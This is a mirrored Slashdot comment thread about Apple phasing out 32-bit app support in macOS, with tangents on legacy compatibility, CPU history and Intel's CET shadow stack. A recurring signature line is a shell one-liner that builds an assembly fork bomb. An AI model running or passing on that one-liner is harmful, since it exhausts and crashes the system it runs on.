Slashdot Mirror
Apple Prepares MacOS Users For Discontinuation of 32-Bit App Support (arstechnica.com)
Last year, Apple announced that macOS High Sierra "will be the last macOS release to support 32-bit apps without compromise." Now, in the macOS High Sierra 10.13.4 beta, Apple is notifying users of the impending change, too. "To prepare for a future release of macOS in which 32-bit software will no longer run without compromise, starting in macOS High Sierra 10.13.4, a user is notified on the launch of an app that depends on 32-bit software. The alert appears only once per app," Apple says in the beta release notes. Ars Technica reports: When users attempt to launch a 32-bit app in 10.13.4, it will still launch, but it will do so with a warning message notifying the user that the app will eventually not be compatible with the operating system unless it is updated. This follows the same approach that Apple took with iOS, which completed its sunset of 32-bit app support with iOS 11 last fall. Developers and users curious about how this will play out will be able to look at the similar process in iOS for context. On January 1 of this year, Apple stopped accepting 32-bit app submissions in the Mac App Store. This June, the company will also stop accepting updates for existing 32-bit applications. iOS followed a similar progression, with 32-bit app submissions ending in February of 2015 and acceptance of app updates for 32-bit apps ending in June of 2015.
I can still run Windows apps originally compiled in 1992 on Windows 10.
Just sayin'.
I think it likely there's going to be a lot of resistance to this one. There are an awful lot of perfectly good apps out there where the developers have gone away - they're just not going to make the transition to 64-bit. Apple's asking a very large number of users to take a serious a hit in terms of lost investment all at once.
There's no particularly good reason for it. The existing OS support can be frozen, and new OS stuff added; it's not like we're short on memory or storage.
For some, the answer will be to simply not move to the new OS (notice I didn't use the term "upgrade.") For others, it may be a VM, unless the VM's can't run in 32-bit mode (don't know why that would be the case, but perhaps it is.)
It is Apple's habit to go with "hey, I have an idea" where for some reason, no one stands up and tells them "you know, that's not a good idea..." They did it with the PPC emulation, they did it with headphone jacks, they did it with slowing down people's phones, and now... now they're going to kill a lot of people's tools.
Interesting times for Apple.
I've fallen off your lawn, and I can't get up.
do anything useful using only numbers larger than 2,147,483,647?
This attitude makes no sense. Sure it's "perfectly good hardware", but it costs real time and effort to keep updating* it. As time goes on and the PGH becomes rarer and rarer, the ratio of benefit from keeping support relative to spending that effort on something else becomes less and less favorable. Eventually, even if the hardware is perfectly good, it doesn't make sense to continue to support upgrading it because so few remain.
It's also incredibly rude to people that volunteer their support to build a free kernel to suggest they are "lazy" for not supporting your Pentium III. The whole of Linux is their gift to you, and you can continue running the existing kernel on it as long as you like, but instead you have to insult a gift horse in the mouth over it?
* Note that much of this support cost is probably QA. You can't just ship it because you'll end up like Microsoft where everyone was pissed at them recently for bricking some old AM2-based system that they claimed to support.
Linux distros still run 32 bit apps. Firefox was 32 bit only (main line builds) for a long time.
Of course, there will come a time in the not-so-distant future when 64-Bit computers will get the cold shoulder.
Probably not in your lifetime.
Il n'y a pas de Planet B.
I used to think the same thing, but then I out a 2006 Mac pro vs a 2005 Quad G5. The Intel cpu is way cooler, and faster. Be the G5 was a crap processor. It was good to jump out of PowerPC, but yeah it's a joke how quickly they killed OS X on PowerPC.
But the real truth is that iPod, and the iPhone, and iPad sell a hell of a lot more than any Mac.
Apple computers are effectively dead.
As far as I understand it, the Core processors are more related to the Pentium M.
#DeleteFacebook
>Of course, there will come a time in the not-so-distant future when 64-Bit computers will get the cold shoulder.
You think? I'm not so sure. Or, at least it will take a lot longer than previous transitions.
The driving force behind bit-size increases seems to be RAM - vector processors (aka GPUs these days) and other SIMD techniques address performance issues quite sufficiently, and there's very little call for calculations to be performed more precisely than can be done in 32 bits, much less 64 (neglecting limited demand for exact calculations, which will always need to be implemented in software)
32 bit computers had been flirting with their limitations for a while - 32 bit addresses can only access 4 GB of RAM without all sorts of performance-killing jumping through hoops (pointer arithmetic is fundamental to almost everything). And unlike 16 bit computers (which can only natively address 64kB of RAM and required hoop-jumping from day one on PCs), 32 bit OSes were born in the time of the 386, when a couple MB of RAM was impressive, and 4GB was an unimaginably insane amount, so new OSes could get the performance benefit of assuming all RAM was directly addressable, with vast ranges of "this will never be used" address space that could be allocated to various non-RAM purposes (hence only being able to use ~3.5GB of your 4GB of RAM on Windows XP).
64-bit computers though are a far larger jump again. Going from the 286 (16 bit calculations, 24 bit addresses through "protected mode") to the 386 (32 bit native addresses) only introduced an extra 8 address bits - 256x times the space, from 16 MB to 4GB, or about 16 years by Moore's Law at the time. Going from 32 to 64 bits adds about 4 billion times the natively computable address space - or about 48 years by the modern accelerated Moore's Law. Meanwhile, actual uses for more memory seem to finally be slowing down - over a decade since Microsoft introduced a mainstream 64-bit OS, there's still not really much to be gained by most people having more than 8GB of RAM in a PC.
--- Most topics have many sides worth arguing, allow me to take one opposite you.
Only a fucked-up anonymous shit head would consider it a problem to just not update your OS if you need it to run your apps.
What I like about it is, there is no indication which end of the ramming the users are being prepared for. It is a very accessible phrasing for being so personal.
64 bit was very necessary for desktop and server OSs but it wasn't necessary for mobile. But it happened anyway.
Now I don't think even Apple are going announce a "brave" move a "128 bit iPhone" in a keynote where Tim Cook does his best to dress up and sound like Steve Jobs. But it wouldn't surprise me if we see some other change that breaks binary compatibility. Hell look at Meltdown and Spectre. A new ABI which makes exploits like that impossible seems very likely. There are some very interesting Intel papers on things like Control Flow Enforcement which point to a binary compatibility break to work. E.g.
https://www.theregister.co.uk/...
CET works by introducing a shadow stack - which only contains return addresses, is held in system RAM, and is protected by the CPU's memory management unit. When a subroutine is called, the return address is stashed on the thread's stack, as per normal, and also in the shadow stack. When the processor reaches a return instruction, the processor ensures the return address on the thread stack matches the address on the shadow stack.
If they don't match, then an exception is raised, allowing the operating system to catch and stop execution. Therefore, if exploit code starts tampering with the stack to chain together malicious instructions to install malware or otherwise compromise a system, these alterations will be detected and the infiltration halted before any damage can be done.
The shadow stack must sit in memory that has a new shadow stack bit set in the page tables. Any attempts by software to access the shadow stack - such as with a MOV instruction - are blocked by the memory management unit and a page fault raised to alert the operating system that shenanigans are afoot. Any attempt to use a control-flow instruction - such as RET - when the shadow stack is not marked as a shadow stack in the page tables will also raise a page fault.
The shadow stack pointer (SSP) for the running thread is stored in the Task state segment. There are various control registers that hold SSPs for privilege rings 0 to 2 (non-usermode rings) and for interrupts. You should really read the above PDF if you're interested in the detail - this is really only scratching the surface.
For this sort of thing to work it must be done everywhere in the OS and applications and all the old insecure applications need to be EXTERMINATED in order to prevent them from tarnishing ze purity of the race, err security of the system.
In fact you might see several binary compatibility breaks as new security features are added and support for applications which weren't compiled to use them is dropped.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I remember realising how much faster the Core 2 Duo was than the G4 when I noticed that VLC was using a little bit more CPU in Activity Monitor on my new MacBook Pro than on my old PowerBook: almost 80% of one core, when it had been closer to 60% (of the only core) on the old machine playing the same video. Then I realised that VLC wasn't a fat binary and I was still running the PowerPC version: even CPU-bound applications running in emulation were only slightly slower in the new machine. Switching to the Intel version of VLC dropped the CPU usage down to 10-20%.
I am TheRaven on Soylent News
The Pentium M was basically the Pentium 3 with the branch predictor from the Pentium 4 and a few refinements.
I am TheRaven on Soylent News
It's worth noting that the failure of the P4 was to do with the fact that Intel (very unusually) mispredicted process improvements. The team running P4 development was expecting 5GHz at launch and 10GHz after a couple of years. Their designs worked at those speeds in the simulators, but the process technology didn't give the faster clocks that they expected. At 5GHz, the P4 would have smoked the Athlon for performance and at 10GHz it would have been incredible, but Intel hit an unexpected brick wall and never made it past 4GHz.
I am TheRaven on Soylent News
Macs haven't run my 68K {NOTE: binary} apps for years. 8088 MS-DOS 3.1 batch {text, source} files still (mostly) work in Windoze, though.
NOTE: {notes} are mine.
Which makes a great argument in favor of accessible source.
Because your batch file are human readable text-file, you can even edit what's needed to remove the "(mostly)" part of the sentence.
Much more difficult with binary 68k machine code.
If you had access to the original C / Pascal code that the 68k apps were compiled from, it would be much more easy for devs to adapts them to modern architectures/APIs.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Well, considering Macs didn't start shipping 64-bit processors until 2008, and didn't fully support it in the OS until 2010, I don't know if I'd call them inept. Actively maintained and sold software isn't the issue, but software that may only be 8 years old certainly is. People who bought some Adobe software for major dollars 7 years ago and haven't jumped onto the subscription model since are going to be the ones who are screwed. 8 years is a long time ago, yet a short time ago as well.
So what special exception will they make to kowtow to Intuit, who has steadfastly refused to update their Quicken 2007 locally hosted app. This 11 year old app is still used by many, and made use of Rosetta so its 68K code could run on Intel iron. When Rosetta was retired by Apple, Apple made special dispensation so that lazy intuit could still run this essential financial application on modern Mac OS with little modification, up to today under High Sierra. I have no doubt most of its code is the same 68K code from 2007.
I was an early adopter of Quicken back in 1988 and have 30 years of financial data socked away in it, and do not want all my financial transactions stored by Intuit in the cloud where they will keep it "secure". Yeah, trust Intuit. Quicken Essentials has a more limited feature set. They do not offer a true substitute, which is why so many of Intuit users have been stuck in time running an ancient release.
"You have liberated me from thought."
Pshhh, FORTH was doing the two-stacks thing back in the '80s. It just happened to be ahead of the rest of the world, since there were very few microprocessors that could support it efficiently. The main one was the 6809, which had two explicit stack pointers, and the U stack was almost as easy to use as the regular S stack. The FORTH inner loop was two instructions on the 6809, compared to 20 or so for the Z-80.
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
At 5GHz, the P4 would have smoked
I think you can stop right there.
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
Look inside most tech companies and the coding is being done on Macs because its Unix under the hood and Windows is a shitty experience
I have a simpler explanation for use of Macs in client software development: Xcode is Mac-exclusive and the only way to build, test, and ship iOS apps. If only Android apps and server apps were needed, more developers might use GNU/Linux.
Somewhere I have an actual Intel data book where they call the 8088 an 8-bit processor, and include benchmarks that compare it to the Z80 and 6809.
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
If you plan on keeping your OS up-to-date, than I would highly recommend that you keep an eye out for -- nay, even seek out -- these warning messages. I had an experience with my iPhone, which I view as a bit of foreshadowing here:
I was participating in the iOS beta program, and I pretty much ignored the iOS 10 obsolescence warnings, even though I knew better. That meant that I was essentially blazing the trail, so there were no user stories online to enable me to learn from the mistakes of other people... so when I updated to iOS 11 and all of those apps ceased to function, I actually found myself in a bit of a pickle. It was over a single app: an older "Notes" type app, dating from well before Apple's own Notes app had incorporated several of the more useful features that it now has. So this old app had a bunch of old personal notes in it, which I wanted to recover... but there was no possibility that this app was ever going to be updated for iOS 11, because it had long since been removed entirely from Apple's App Store.
Now, I'm a geek with multiple spare devices lying around, so my own little pickle was resolved -- but not exactly easily, and any number of things could have gone wrong to prevent me from succeeding: Since it too me awhile to realize what I'd lost, I first had to hunt through Time Machine to find the last iOS 10 backup of my iPhone. I then copied that into the iTunes backup repository, grabbed an older iPhone which hadn't been updated to 11 yet, used iTunes to restore the old backup to that surrogate device, and then restored the app itself from the legacy iTunes app repository, where it was (fortunately) still lurking. (I also had to do a bit of research to see if that last step was still even possible, given that Apple had already disabled app management in iTunes awhile back; thankfully, you can still simply drag-and-drop existing app backups onto your iPhone within iTunes.) After some trial and error, I was finally able to get into the app and recover all of my old notes.
So ultimately, I sort'a got lucky, because I just happened to have all of the pieces in exactly the right place to enable such a recovery. (If my iOS backups had been in the cloud instead of on my Mac, or if I hadn't been using Time Machine, or if I hadn't had an old device at hand, or if that old device hadn't had the right version of iOS on it, or if... etc, etc, ad nauseam.) So keeping all of that in mind, I have very little confidence that such a scenario would play out with similar success upon updating my Mac... and there are probably far more legacy apps there than there were on my iPhone.
So, this time around, if Apple provides some type of compatibility list for all of the legacy apps on my Mac -- as they had done in iOS 10 -- then I'll be paying quite a bit more attention to what's on that list, so that I can salvage my old data before doing so becomes a practical impossibility.
Apple computers are effectively dead.
People write those applications on their iPhones? The idea that no one produces, only consumes, makes as much sense as the old "Everyone will be a boss" concept.
The shepherds did so well protecting the flock that the sheep no longer believed that wolves existed.
I used to play Diablo 2 in emulated mode. Just don't remember if I played the 68k version on my G4 17"
Or if I played the PPC version on my first Intel, lol.
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
There's nothing to stop you having more than one stack. MIPS chips don't have a hardware stack at all - you just have a bunch of registers and you do operations on them. The ABI defines one register as a stack but it could easily define another. Or it could define several.
Still even on MIPS having two stacks is a breaking ABI change.
On Intel they've added new register and new instructions. And it seems like once you enable CET you can't run non CET code. I.e. it's a like the switch from x86 mode to x64 where you can't run old code - everything needs to be recompiled. In the CET paper they have a bitmap to mark 4K code pages as either CET or 'legacy code'
3.6.1 Legacy Code Page Bitmap Format
The legacy code page bitmap is a flat bitmap whose linear address is pointed to by the EB_LEG_BITMAP_BASE.
Each bit in the bitmap represents a 4K page in linear memory. If the bit is 1 it indicates that
the corresponding code page is a legacy code page; else it is a CET-enabled code page.
The processor uses the linear address of the instruction to which legacy transfer was attempted to lookup the bitmap. Bits of the linear address used as index in the bitmap are as follows.
They have to have that because you can't in general execute legacy code once CET is enabled because legacy code might innocently break the CET rules it doesn't know about. E.g. all indirect branches have to end at an ENDBRANCH instruction
http://www.securityweek.com/in...
Additionally, Patel explains that a new instruction was added to ISA, namely the ENDBRANCH instruction, which would mark legal target for an indirect branch or jump. âoeThus if ENDBRANCH is not target of indirect branch or jump, the CPU generates an exception indicating unintended or malicious operation. This specific instruction has been implemented as NOP on current Intel processors for backwards compatibility (similar to several MPX instructions) and pre-enabling of software,â he notes.
Actually if you're going to do that you could enforce code signing for usermode too - the OS could verify the signature when it loaded the executable and would page code into memory it subsequently marked read only.
Kernel mode code has always been signed in 64 bit windows - they knew the switch from x86 to x64 was a breaking change so they decided to enforce that too.
Windows S will only run Win32 code if it is signed by Microsoft and they use that to stop any third party applications. Maybe they could have a more open system which still enforces code signing.
It'd suck for WIn32 developers because they'd need to pay for a certificate like you do for kernel mode code.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
OK, but you can install the 32 bit version of Windows 10, and still load the GWBASIC.EXE compiled in 1986 on a current operating system.
Yup. Indeed, Microsoft (and FreeDOS. And DosBox. And dosemu) do maintain the set of API needed to get it running. (Basically, IBM-PC BIOS Interrupt call APIs, and DOS int 21h API. And an extra ton of emulated audio/video hardware in the case of DosBox).
(It helps that 3 out of the 4 mentioned software are opensource, and thus can share a bit of the workload: Indeed, dosemu uses bits from FreeDOS to provide the Int 21h MS-DOS API).
Though note again that most of the things that you will run *inside* GWBASIC.EXE are basically (pun intended) scripts with source code available. And even in the case of GWBASIC.EXE not running anymore (because in the future, tablets take over and we decide to switch away from x86/x86_64 to AArch64), you could still port them to, say, FreeBasic.
In general, it looks that the DOS legacy is so strong (and so low-cost to keep around nowadays) that we'll probably still have it around for as long as there's some hardware still able to execute real-mode x86 machine code.
You know, for that weird data acquisition machine in the corner of the lab that can't work with anything else but some weird specific executable that has DOS bits.
Microsoft did away with 16 bit compatibility layer in the 64 bit OS, but as others have pointed out, VMs and things like DosBox make it not a big loss.
Small nit-picking : for once, Microsoft is entirely innocent in this case. The culprits are AMD (who designed AMD64) and Intel (who imported it as x86_64 once they saw that IA64 is going "(t) itanic").
There is no Virtual8086 mode available when the CPU is in 64 mode. It can only execute protected mode code.
All the methods that Microsoft relied on to execute legacy real-mode code (i.e.: using virtual86 mode to handle most of the hardwork) suddenly doesn't work anymore if the CPU is in 64bits mode.
So basically they were left with two choices :
- enable 16bits APIs only when the CPU is running in 32bits mode. And disable them when in 64bits mode (what they did)
- rewrite extensively their 16 bits support to basically handle most of the emulation themselves without any assistance from the virtual86 mode. (What basically Dosbox, VirtualBox, QEMU, etc. are all doing).
The later is quite a lot of work, just to get old deprecated stuff to still run. It hits the law of "diminishing return" hard. So Microsoft skiped it. On the other hand all the other software are emulator (with additional dynarec, JIT, etc. but still) so emulation is *their* business and thus they went that path.
Nit-picking to my nit-picking :
technically a CPU in 64 bit mode is still able to run 16bit *protected mode* code. So from a purely theoretical point of view, it should be possible to get those programs that are 16 protected-mode clean (some Win16 code in the 286 era is designed to work as-is in either real mode or protected mode) to run, *IF* you take time to re-implement the whole 16bits subsystem to run as a protected 16bit software on your CPU in 64 bits mode, *AND* you make sure that these program won't rely on any real-mode code (drivers, external dependencies to weird software, etc).
That's way too much work in the scope of Microsoft - it's basically re-developing an entire Windows 286 again, just for the sake of those 3 program which will run cleanly inside it.
Mega nit-picking:
There are complicated ways to get virtual 86 mode working from within a 64 bit OS. It's DOS' "Voodoo mode / Unreal" kind of hackish - relying on virtualisation extensions to help having virtualized CPUs running in a different mode than the main os.
So basically, it could be possible to take the architecture that normally happens if, on Windows 64 bits, you use a VT-x enabled Virtual Box to ru
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
If you haven't looked recently, they released an updated version of the installer a couple of years back. I was pleased to discover a couple of years ago that I could enter my CD keys into Blizzard's web site and download an installer that ran D2 + LoD on my Intel Mac on a recent macOS. Unfortunately, it looks as if it's a 32-bit binary, so it may not work for much longer...
I am TheRaven on Soylent News
I have been using a 64-bit Linux distro since I bought my first Athlon 64 almost 14 years ago. Why some software is still distributed as 32-bit mystifyies me. I'm looking at you Steam, I hate having to install a crapton of libraries just for a single program.
I know all that. But this was in actual ink from Intel, which is why it was so interesting to find.
#naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }